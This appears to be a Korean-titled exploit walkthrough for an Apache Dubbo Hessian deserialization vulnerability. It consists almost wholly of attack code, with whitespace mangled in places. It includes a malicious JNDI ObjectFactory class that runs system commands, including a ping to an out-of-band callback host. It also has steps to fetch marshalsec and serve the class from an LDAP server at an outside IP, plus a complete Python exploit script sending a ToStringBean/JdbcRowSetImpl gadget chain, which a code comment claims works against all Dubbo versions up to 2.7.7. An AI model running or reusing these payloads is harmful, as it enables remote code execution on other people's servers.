Apache Dubbo 역직렬화 취약점을 분석하는 방법

java -jar dubbo.jar

PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}

javac calc.java

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086

python3 -m pip install dubbo-py

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }